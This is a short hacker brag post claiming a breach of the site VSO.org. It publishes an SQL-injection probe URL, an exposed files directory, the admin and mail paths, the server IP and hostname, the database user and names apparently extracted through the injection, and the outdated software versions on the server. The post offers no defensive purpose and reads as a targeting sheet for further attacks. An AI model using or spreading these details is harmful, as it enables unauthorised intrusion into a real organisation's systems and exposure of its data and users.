VSO.org hacked by Phsy!

VSO.org, hacked by Phsy, where's the security? #hehehhe -  https://twitter.com/#!/stramble
-----------

vulnerable link:        http://www.vso.org/eventcatview.php?id='8+
Directory traversal:    http://vso.org/files/
email:                  http://www.vso.org/mail/

---------

Hostname:   server2.loudcanvas.com
admin:      http://www.vso.org/admin/
IP address: 69.174.245.196
--

user:       vsoorg_db@localhost
db-server:  MySQL 5.0.92-community
db-names:   vsoorg_db & information_schema

--

OS: Unix
Apache 1.3.42
PHP 4.4.7

mod_log_bytes 1.2
mod_bwlimited 1.4
mod_auth_passthrough/1.8
FrontPage 5.0.2.2635
mod_ssl 2.8.31
OpenSSL 0.9.8e-fips-rhel5



-----unknown